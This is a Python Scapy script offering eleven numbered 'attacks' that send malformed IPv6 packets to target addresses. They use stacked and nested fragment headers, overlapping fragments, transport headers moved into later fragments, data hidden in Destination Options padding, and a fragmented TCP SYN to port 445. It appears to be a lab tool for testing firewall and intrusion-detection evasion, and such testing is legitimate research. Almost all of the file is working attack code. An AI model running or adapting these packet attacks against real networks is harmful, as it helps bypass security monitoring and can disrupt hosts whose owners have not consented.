#!/usr/bin/python 
import logging 							#Suppress Scapy IPv6 Warning
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 	#Suppress Scapy IPv6 Warning
from scapy.all import * 
import threading
import time

if (len(sys.argv) == 5): 
     	dip = sys.argv[2] 
     	sip = sys.argv[1]
	length = int(sys.argv[3])
     	attack = sys.argv[4]
else: 
     	print "Usage: program.py <source> < destination> <length_in_octets_icmpv6-payload> <attack:0-9>" 
	print "0. Send multiple fragment extension headers in an atomic fragment"
	print "1. Send various duplicated extension headers in an atomic fragment"
	print "2. Send nested fragments"
	print "3. Send the upper layer at a second/subsequent fragment - no overlapping"
	print "4. Send the upper layer at a second fragment and various extension headers in the 1st fragment"
	print "5. Send the upper layer at the 2nd fragment which overlaps with the 1st fragment"
	print "6. Send the upper layer at the 3rd fragment which overlaps with the 2nd"
	print "7. Send the upper layer at the 3rd fragment which overlaps with the 1st"
	print "8. Send arbitrary data encapsulated in Extension Headers"
	print "9. Send fragmented arbitrary data encapsulated in Extension Headers"
	print "10. Send TCP SYN packet at a fragment other than the first one"
	sys.exit(1)   

conf.iface="vboxnet0"
conf.verb = 0
#conf.route6.add(dst="fed0::", gw="fed0::1")

ip_list = dip.split(",")

def multiple_fragment_headers_in_atomic_fragments(ip,no_of_headers):
	payload1=Raw("AAAAAAAA"*(length))
	icmpid=random.randrange(0,65535,1)
	myid=random.randrange(1,4294967296,1)  #generate a random fragmentation id 
	icmpv6=ICMPv6EchoRequest(data=payload1, id=icmpid) 
	ipv6_1=IPv6(src=sip, dst=ip, plen=8*(length+no_of_headers+1))
	csum=in6_chksum(58, ipv6_1/icmpv6, str(icmpv6))
 	icmpv6=ICMPv6EchoRequest(cksum=csum, data=payload1, id=icmpid) 
 	frag=IPv6ExtHdrFragment(offset=0, m=0, id=myid, nh=44) 
 	frag_last=IPv6ExtHdrFragment(offset=0, m=0, id=myid, nh=58) 
 	packet=ipv6_1 
 	for i in range(1, no_of_headers): 
 		packet=packet/frag 
 	packet=packet/frag_last/icmpv6 
	#print packet.sprintf("\n%IPv6.src% %IPv6.dst% ") + packet.summary()
 	send(packet) 

def multiple_various_extension_headers_in_atomic_fragments(ip):
	icmpid=random.randrange(0,65535,1)
	layer4=ICMPv6EchoRequest(id=icmpid)
	packet = IPv6(src=sip, dst=ip) \
	  /IPv6ExtHdrDestOpt() \
	  /IPv6ExtHdrDestOpt() \
	  /IPv6ExtHdrDestOpt() \
	  /IPv6ExtHdrFragment(offset=0, m=0) \
	  /IPv6ExtHdrFragment(offset=0, m=0) \
	  /IPv6ExtHdrDestOpt() \
	  /IPv6ExtHdrFragment(offset=0, m=0) \
	  /layer4
	#print packet.sprintf("\n%IPv6.src% %IPv6.dst% ") + packet.summary()
	#print packet.sprintf("\n%IPv6.src% %IPv6.dst% ") + layer4.summary()
	send(packet)

def nested_fragments(ip,no_of_fragments):
	myid=random.randrange(1,4294967296,1)  #generate a random fragmentation id 
	myid2=random.randrange(1,4294967296,1)  #generate a random fragmentation id
	icmpid=random.randrange(0,65535,1)
	#no_of_fragments = 3
	#no_of_fragments = 65537
	payload1=Raw("AAAAAAAA"*(length)) 
	icmpv6=ICMPv6EchoRequest(data=payload1, id=icmpid) 
	ipv6_1=IPv6(src=sip, dst=ip, plen=(length+1)*8) 
	csum=in6_chksum(58, ipv6_1/icmpv6, str(icmpv6)) 
	icmpv6=ICMPv6EchoRequest(cksum=csum, data=payload1, id=icmpid) 
	ipv6_1=IPv6(src=sip, dst=ip, plen=8*2)
	frag2=IPv6ExtHdrFragment(offset=0, m=0, id=myid2, nh=44)
	for i in range(0, no_of_fragments):
		frag1=IPv6ExtHdrFragment(offset=i, m=1, id=myid, nh=44)
		packet=ipv6_1/frag1/frag2
		send(packet)
	frag1=IPv6ExtHdrFragment(offset=no_of_fragments, m=1, id=myid, nh=44)
	frag2=IPv6ExtHdrFragment(offset=0, m=0, id=myid2, nh=58)
	packet=ipv6_1/frag1/frag2
	send(packet)
	ipv6_1=IPv6(src=sip, dst=ip, plen=8*(length+2))
	frag1=IPv6ExtHdrFragment(offset=no_of_fragments+1, m=0, id=myid, nh=44)
	packet=ipv6_1/frag1/icmpv6
	send(packet) 
	#print packet.sprintf("\npacket sent: %IPv6.src% %IPv6.dst% ") + packet.summary() 
	#print packet.sprintf("\npacket sent: %IPv6.src% %IPv6.dst% ")

def upper_layer_later(ip,no_of_fragments):
	icmpid=random.randrange(0,65535,1)
	for i in range(0,no_of_fragments):
		packet=IPv6(src=sip, dst=ip)/IPv6ExtHdrFragment(offset=i*16, m=1)/IPv6ExtHdrDestOpt(nh=60, options=PadN(optdata='\101'*120))
		send(packet)
	packet=IPv6(src=sip, dst=ip)/IPv6ExtHdrFragment(offset=no_of_fragments*16, m=1)/IPv6ExtHdrDestOpt(nh=58,  options=PadN(optdata='\101'*120))
	send(packet)
	packet=IPv6(src=sip, dst=ip)/IPv6ExtHdrFragment(offset=(no_of_fragments+1)*16, m=0, nh=58)/ICMPv6EchoRequest(id=icmpid)
	send(packet)

def upper_layer_later_and_mixing(ip):
	myid=random.randrange(1,4294967296,1)  #generate a random fragmentation id 
	icmpid=random.randrange(0,65535,1)
	icmpv6=ICMPv6EchoRequest(id=icmpid)
	csum=in6_chksum(58, IPv6(src=sip, dst=ip)/icmpv6, str(icmpv6))
	packet1=IPv6(src=sip, dst=ip)/IPv6ExtHdrFragment(offset=0, m=1)/IPv6ExtHdrDestOpt(nh=60)/IPv6ExtHdrDestOpt(nh=60)/IPv6ExtHdrDestOpt(nh=60)/IPv6ExtHdrDestOpt(nh=60)/IPv6ExtHdrDestOpt(nh=58)
	packet2=IPv6(src=sip, dst=ip)/IPv6ExtHdrFragment(offset=5, m=0, nh=58)/ICMPv6EchoRequest(id=icmpid,cksum=csum)
	#print packet1.summary()
	send(packet1)
	#print packet2.summary()
	send(packet2)

def upper_layer_second_and_overlapping(ip):
	myid=random.randrange(1,4294967296,1)  #generate a random fragmentation id 
	icmpid=random.randrange(0,65535,1)
	payload1=Raw("AABBCCDD"*(length)) 
	icmpv6=ICMPv6EchoRequest(data=payload1, id=icmpid)
	csum=in6_chksum(58, IPv6(src=sip, dst=ip)/icmpv6, str(icmpv6))
	send(IPv6(src=sip, dst=ip)/IPv6ExtHdrFragment(offset=0, m=1)/IPv6ExtHdrDestOpt(nh=58)) 
	send(IPv6(src=sip, dst=ip)/IPv6ExtHdrFragment(offset=0, m=0)/ICMPv6EchoRequest(data=payload1,id=icmpid,cksum=csum)) 

def upper_layer_third_and_overlapping_with_second(ip):
	myid=random.randrange(1,4294967296,1)  #generate a random fragmentation id 
	icmpid=random.randrange(0,65535,1)
	payload1=Raw("AABBCCDD"*(length)) 
	icmpv6=ICMPv6EchoRequest(data=payload1, id=icmpid)
	csum=in6_chksum(58, IPv6(src=sip, dst=ip)/icmpv6, str(icmpv6))
	packet1=IPv6(src=sip, dst=ip)/IPv6ExtHdrFragment(offset=0, m=1)/IPv6ExtHdrDestOpt(nh=58)
	packet2=IPv6(src=sip, dst=ip)/IPv6ExtHdrFragment(offset=1, m=1, nh=58)/IPv6ExtHdrDestOpt(nh=58)
	packet3=IPv6(src=sip, dst=ip)/IPv6ExtHdrFragment(offset=1, m=0, nh=58)/ICMPv6EchoRequest(cksum=csum, data=payload1, id=icmpid)
	send(packet1)
	send(packet2)
	send(packet3)

def upper_layer_third_and_overlapping_with_first(ip):
	myid=random.randrange(1,4294967296,1)  #generate a random fragmentation id 
	icmpid=random.randrange(0,65535,1)
	payload1=Raw("AABBCCDD"*(length)) 
	icmpv6=ICMPv6EchoRequest(data=payload1, id=icmpid)
	csum=in6_chksum(58, IPv6(src=sip, dst=ip)/icmpv6, str(icmpv6))
	packet1=IPv6(src=sip, dst=ip)/IPv6ExtHdrFragment(offset=0, m=1)/IPv6ExtHdrDestOpt(nh=58)
	packet2=IPv6(src=sip, dst=ip)/IPv6ExtHdrFragment(offset=1, m=1, nh=58)/IPv6ExtHdrDestOpt(nh=58)
	packet3=IPv6(src=sip, dst=ip)/IPv6ExtHdrFragment(offset=0, m=0, nh=58)/ICMPv6EchoRequest(cksum=csum, data=payload1, id=icmpid)
	send(packet1)
	send(packet2)
	send(packet3)

def arbitrary_data_encapsulated(ip):
	icmpid=random.randrange(0,65535,1)
	send(IPv6(src=sip, dst=ip)/IPv6ExtHdrDestOpt(options=PadN(optdata='\101'*120)/PadN(optdata='\102'*150)/PadN(optdata='\103'*15))/ICMPv6EchoRequest(id=icmpid))

def arbitrary_fragmented_data_encapsulated(ip,no_of_fragments):
	#no_of_fragments = input('Please enter the number of fragments: ')
	#no_of_fragments = 3
	icmpid=random.randrange(0,65535,1)
	for i in range(0,no_of_fragments):
		packet=IPv6(src=sip, dst=ip)/IPv6ExtHdrFragment(offset=i*16, m=1)/IPv6ExtHdrDestOpt(nh=60, options=PadN(optdata='\101'*120))
		send(packet)
	packet=IPv6(src=sip, dst=ip)/IPv6ExtHdrFragment(offset=no_of_fragments*16, m=1)/IPv6ExtHdrDestOpt(nh=58,  options=PadN(optdata='\101'*120))
	send(packet)
	packet=IPv6(src=sip, dst=ip)/IPv6ExtHdrFragment(offset=(no_of_fragments+1)*16, m=0, nh=58)/ICMPv6EchoRequest(id=icmpid)
	send(packet)

def tcp_layer_later(ip,no_of_fragments):
	my_seq_number=random.randrange(0,2*65535,1)
	source_port=random.randrange(0,65535,1)
	print "The source port is " + str(source_port)
	for i in range(0,no_of_fragments): 
        	packet = IPv6(src=sip,dst=dip)/IPv6ExtHdrFragment(offset=i*16,m=1)/IPv6ExtHdrDestOpt(nh=60, options=PadN(optdata='\101'*120)) 
        	send(packet) 
	packet = IPv6(src=sip,dst=dip)/IPv6ExtHdrFragment(offset=no_of_fragments*16,m=1)/IPv6ExtHdrDestOpt(nh=06,  options=PadN(optdata='\101'*120)) 
	send(packet) 
	packet = IPv6(src=sip,dst=dip)/IPv6ExtHdrFragment(offset=(no_of_fragments+1)*16,m=0,nh=06)/TCP(sport=source_port, dport=445, seq=my_seq_number)/Raw("AAAAAAAA"*10)
	send(packet)


if attack == "0":
	num_of_headers = input('Please enter the number of extension headers to be included in an atomic fragment: ')
	print "\nSend multiple fragment extension headers in an atomic fragment"
	for myip in ip_list:
		multiple_fragment_headers_in_atomic_fragments(myip,num_of_headers)
elif attack == "1":
	print "\nSend various duplicated extension headers in an atomic fragment"
	for myip in ip_list:
		multiple_various_extension_headers_in_atomic_fragments(myip)
elif attack == "2":
	my_fragments = input('Please enter the number of fragments: ')
	print "\nSend nested fragments"
	for myip in ip_list:
		nested_fragments(myip,my_fragments)
elif attack == "3":
	my_fragments = input('Please enter the number of fragments: ')
	print "\nSend the upper layer at a second/subsequent fragment"
	for myip in ip_list:
		upper_layer_later(myip,my_fragments)
elif attack == "4":
	print "\nSend the upper layer at a second fragment and various extension headers in the 1st fragment"
	for myip in ip_list:
		upper_layer_later_and_mixing(myip)
elif attack == "5":
	print "\nSend the upper layer at the 2nd fragment which overlaps with the 1st fragment"
	for myip in ip_list:
		upper_layer_second_and_overlapping(myip)
elif attack == "6":
	print "\nSend the upper layer at the 3rd fragment which overlaps with the 2nd"
	for myip in ip_list:
		upper_layer_third_and_overlapping_with_second(myip)
elif attack == "7":
	print "\nSend the upper layer at the 3rd fragment which overlaps with the 1st"
	for myip in ip_list:
		upper_layer_third_and_overlapping_with_first(myip)
elif attack == "8":
	print "\nSend arbitrary data encapsulated in Extension Headers"
	for myip in ip_list:
		arbitrary_data_encapsulated(myip)
elif attack == "9":
	my_fragments = input('Please enter the number of fragments: ')
	print "\nSend fragmented arbitrary data encapsulated in Extension Headers"
	for myip in ip_list:
		arbitrary_fragmented_data_encapsulated(myip,my_fragments)
elif attack == "10":
	my_fragments = input('Please enter the number of fragments: ')
	print "\nSend the tcp layer at a subsequent fragment"
	for myip in ip_list:
		tcp_layer_later(myip,my_fragments)		 
else:
	print "enter an attack number: 0-9"
	print "0. Send multiple fragment extension headers in an atomic fragment"
	print "1. Send various duplicated extension headers in an atomic fragment"
	print "2. Send nested fragments"
	print "3. Send the upper layer at a second/subsequent fragment - no overlapping"
	print "4. Send the upper layer at a second fragment and various extension headers in the 1st fragment"
	print "5. Send the upper layer at the 2nd fragment which overlaps with the 1st fragment"
	print "6. Send the upper layer at the 3rd fragment which overlaps with the 2nd"
	print "7. Send the upper layer at the 3rd fragment which overlaps with the 1st"
	print "8. Send arbitrary data encapsulated in Extension Headers"
	print "9. Send fragmented arbitrary data encapsulated in Extension Headers"
	print "10. Send TCP SYN packet at a fragment other than the first one"
	exit(0)
